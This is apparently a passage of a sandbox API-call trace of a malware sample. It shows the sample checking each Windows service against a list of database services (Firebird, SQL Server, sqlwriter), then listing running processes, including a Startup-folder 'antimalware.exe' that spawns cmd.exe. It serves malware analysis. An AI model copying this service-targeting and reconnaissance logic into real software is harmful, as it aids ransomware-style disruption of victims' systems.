	[0145.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0145.479] lstrlenW (lpString="netprofm") returned 8
	[0145.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0145.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0145.479] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0145.479] lstrlenW (lpString="NgcSvc") returned 6
	[0145.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0145.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0145.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0145.479] lstrlenW (lpString="NlaSvc") returned 6
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0145.480] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0145.480] lstrlenW (lpString="nsi") returned 3
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0145.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0145.480] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0145.480] lstrlenW (lpString="PcaSvc") returned 6
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0145.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0145.480] lstrlenW (lpString="PlugPlay") returned 8
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0145.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0145.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0145.480] lstrlenW (lpString="Power") returned 5
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0145.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0145.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0145.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0145.480] lstrlenW (lpString="ProfSvc") returned 7
	[0145.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0145.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0145.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0145.481] lstrlenW (lpString="RpcEptMapper") returned 12
	[0145.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0145.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0145.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0145.481] lstrlenW (lpString="RpcSs") returned 5
	[0145.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0145.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0145.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0145.481] lstrlenW (lpString="SamSs") returned 5
	[0145.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0145.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0145.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0145.481] lstrlenW (lpString="Schedule") returned 8
	[0145.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0145.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0145.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0145.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0145.481] lstrlenW (lpString="SecurityHealthService") returned 21
	[0145.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0145.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0145.482] lstrlenW (lpString="SENS") returned 4
	[0145.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0145.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0145.482] lstrlenW (lpString="ShellHWDetection") returned 16
	[0145.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0145.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0145.482] lstrlenW (lpString="Spooler") returned 7
	[0145.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0145.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0145.482] lstrlenW (lpString="StateRepository") returned 15
	[0145.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0145.482] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0145.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0145.482] lstrlenW (lpString="SysMain") returned 7
	[0145.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0145.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0145.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0145.483] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0145.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0145.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0145.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0145.483] lstrlenW (lpString="Themes") returned 6
	[0145.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0145.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0145.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0145.483] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0145.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0145.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0145.483] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0145.483] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0145.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x459e560 | out: hHeap=0x4f0000) returned 1
	[0145.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538
	[0145.566] Process32FirstW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0145.567] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0145.568] lstrlenW (lpString="System") returned 6
	[0145.568] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0145.568] lstrlenW (lpString="smss.exe") returned 8
	[0145.569] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0145.569] lstrlenW (lpString="csrss.exe") returned 9
	[0145.569] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0145.570] lstrlenW (lpString="wininit.exe") returned 11
	[0145.570] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0145.571] lstrlenW (lpString="csrss.exe") returned 9
	[0145.571] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0145.572] lstrlenW (lpString="winlogon.exe") returned 12
	[0145.572] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0145.573] lstrlenW (lpString="services.exe") returned 12
	[0145.573] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0145.574] lstrlenW (lpString="lsass.exe") returned 9
	[0145.574] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0145.575] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0145.575] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0145.576] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0145.576] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.577] lstrlenW (lpString="svchost.exe") returned 11
	[0145.577] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.577] lstrlenW (lpString="svchost.exe") returned 11
	[0145.577] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0145.578] lstrlenW (lpString="dwm.exe") returned 7
	[0145.578] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.587] lstrlenW (lpString="svchost.exe") returned 11
	[0145.587] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.588] lstrlenW (lpString="svchost.exe") returned 11
	[0145.588] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.589] lstrlenW (lpString="svchost.exe") returned 11
	[0145.589] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.590] lstrlenW (lpString="svchost.exe") returned 11
	[0145.590] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.591] lstrlenW (lpString="svchost.exe") returned 11
	[0145.591] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.592] lstrlenW (lpString="svchost.exe") returned 11
	[0145.592] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.592] lstrlenW (lpString="svchost.exe") returned 11
	[0145.593] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.593] lstrlenW (lpString="svchost.exe") returned 11
	[0145.593] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.595] lstrlenW (lpString="svchost.exe") returned 11
	[0145.595] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.596] lstrlenW (lpString="svchost.exe") returned 11
	[0145.596] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0145.596] lstrlenW (lpString="spoolsv.exe") returned 11
	[0145.596] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.597] lstrlenW (lpString="svchost.exe") returned 11
	[0145.597] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0145.598] lstrlenW (lpString="audiodg.exe") returned 11
	[0145.598] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0145.599] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0145.599] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0145.600] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0145.600] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0145.601] lstrlenW (lpString="sihost.exe") returned 10
	[0145.601] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0145.602] lstrlenW (lpString="Memory Compression") returned 18
	[0145.602] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0145.603] lstrlenW (lpString="svchost.exe") returned 11
	[0145.603] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0145.604] lstrlenW (lpString="taskhostw.exe") returned 13
	[0145.604] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0145.605] lstrlenW (lpString="msoia.exe") returned 9
	[0145.605] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0145.605] lstrlenW (lpString="taskhostw.exe") returned 13
	[0145.606] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0145.606] lstrlenW (lpString="explorer.exe") returned 12
	[0145.606] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0145.607] lstrlenW (lpString="SearchUI.exe") returned 12
	[0145.607] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0145.608] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0145.608] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0145.609] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0145.609] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0145.696] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0145.696] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0145.697] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0145.697] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0145.697] lstrlenW (lpString="cmd.exe") returned 7
	[0145.697] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0145.698] lstrlenW (lpString="conhost.exe") returned 11
